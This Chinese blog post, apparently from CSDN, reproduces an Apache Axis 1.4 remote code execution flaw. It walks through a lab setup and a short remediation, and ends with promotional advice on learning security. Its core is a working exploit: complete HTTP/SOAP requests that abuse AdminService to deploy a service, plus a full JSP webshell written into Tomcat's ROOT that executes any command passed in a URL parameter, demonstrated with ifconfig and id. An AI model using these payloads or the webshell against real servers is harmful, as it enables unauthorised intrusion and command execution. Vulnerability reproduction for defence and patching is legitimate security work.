结尾附上本文的环境和PoC
![图片](https://img-
blog.csdnimg.cn/img_convert/47ddbd6e8c6901195ba2b3a0ac5ab6f5.png)
一、漏洞介绍
漏洞本质是管理员对AdminService的配置错误。当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,就可以进行远程命令执行漏洞的利用。
二、影响版本
Axis <=1.4
三、环境准备
方法一:
https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-
bin-1_4.tar.gz
下载的axis-bin-1_4.tar.gz压缩包中的webapps目录下的axis目录拷贝到tomcat的webapps目录下
https://mvnrepository.com/search?q=freemarker-2.3.28.jar
下载的freemarker-2.3.28.jar放在axis/WEB-INF/lib目录下
启动tomcat后访问http://localhost:8080/axis
![图片](https://img-
blog.csdnimg.cn/img_convert/230705eb777ac04d8ab7574bf8fb74a8.png)
这个需要WEB-INF/web.xml 去掉AdminServlet注释(这个只能本地复现)
![图片](https://img-
blog.csdnimg.cn/img_convert/d8d378785acb6f4c659d8273eaa9fc0f.png)
如果需要远程访问复现需要开启服务访问一下,会在WEB-INF下面生成一个server-config.wsdd
![图片](https://img-
blog.csdnimg.cn/img_convert/50ec77f702b66ed2b89319276756847c.png)
需要将文件修改enableRemoteAdmin将false改为true
![图片](https://img-
blog.csdnimg.cn/img_convert/1bd6c3c6f44c6017286b39da081c62bb.png)
这样允许远程admin服务
最后重启tomcat,这个很关键。
![图片](https://img-
blog.csdnimg.cn/img_convert/6fc8768db615acaf9720cc6403e3ce47.png)
方法二:
本次已经将环境打包(后台回复"axis"获取环境和POC)
下载下下来的环境包,上面要求环境都配置好了。
直接解压放在tomcat/webapps下面,启动tomcat访问http://localhost:8080/axis
![图片](https://img-
blog.csdnimg.cn/img_convert/b5132d5262e1c642a4389d7865fad574.png)
四、漏洞复现
方法一、手工写入shell
通过services/AdminService 服务部署一个webservice
,webservice开启一个写文件服务。写入的文件路径是…/webapps/ROOT/shell.jsp,服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,我们默认IP+port访问的就是ROOT目录,也就是tomcat默认根目录。
![图片](https://img-
blog.csdnimg.cn/img_convert/32c164105844e6bc22e2892bda936704.png)
原始数据包
POST /axis/services/AdminService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 1061
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
注意写入shell位置,也可以修改比如manager,建议在ROOT下来。
调用上一步创建的恶意webservice 写入webshell
![图片](https://img-
blog.csdnimg.cn/img_convert/c4db8ea334ca6edd8e03d27b6cab728f.png)
原始数据包
POST /axis/services/RandomService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 876
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
返回时500没关系,我们查看一下ROOT下面是否写入shell文件
![图片](https://img-
blog.csdnimg.cn/img_convert/faa0c012fa394bd89a0b206acac4eb32.png)
ROOT目录下shell文件,有一些Java的类异常报错,因为是log模式。
核心还是写的CMD码
![图片](https://img-
blog.csdnimg.cn/img_convert/4d411f74480514ffc0f9a32079fa6d13.png)
接下来访问一下shell
http://192.168.0.104:8080/shell.jsp
![图片](https://img-
blog.csdnimg.cn/img_convert/f1a17d494712e2144c71327473aa770e.png)
执行一下命令
http://192.168.0.104:8080/shell.jsp?c=ifconfig可以获取系统的信息但是看起来不怎么直观
![图片](https://img-
blog.csdnimg.cn/img_convert/3d920b42f11596bbd0614a5b576cf125.png)
检查代码
![图片](https://img-
blog.csdnimg.cn/img_convert/f41682a3d416292221a4730d3c6750f4.png)
这么清晰查看网络信息
方法二、poc脚本写入shell
python Axis1.4_rce_poc.py http://192.168.0.104:8080/axis/
- 1
执行成功
![图片](https://img-
blog.csdnimg.cn/img_convert/e1857f09f0ade38a5dd33ad4fa775cda.png)
访问shell路径:http://192.168.0.104:8080/axis/…/shell.jsp
![图片](https://img-
blog.csdnimg.cn/img_convert/50c34820fda8dec9136870fb5acc6a8f.png)
因为第二次写了一次,这个是在第一次的基础上追加内容。
http://192.168.0.104:8080/shell.jsp?c=id
![图片](https://img-
blog.csdnimg.cn/img_convert/5f4f7ab5e7114fe679220e0b36b1caba.png)
成功执行
五、漏洞修复
关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.
AdminServlet
/servlet/AdminServlet
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!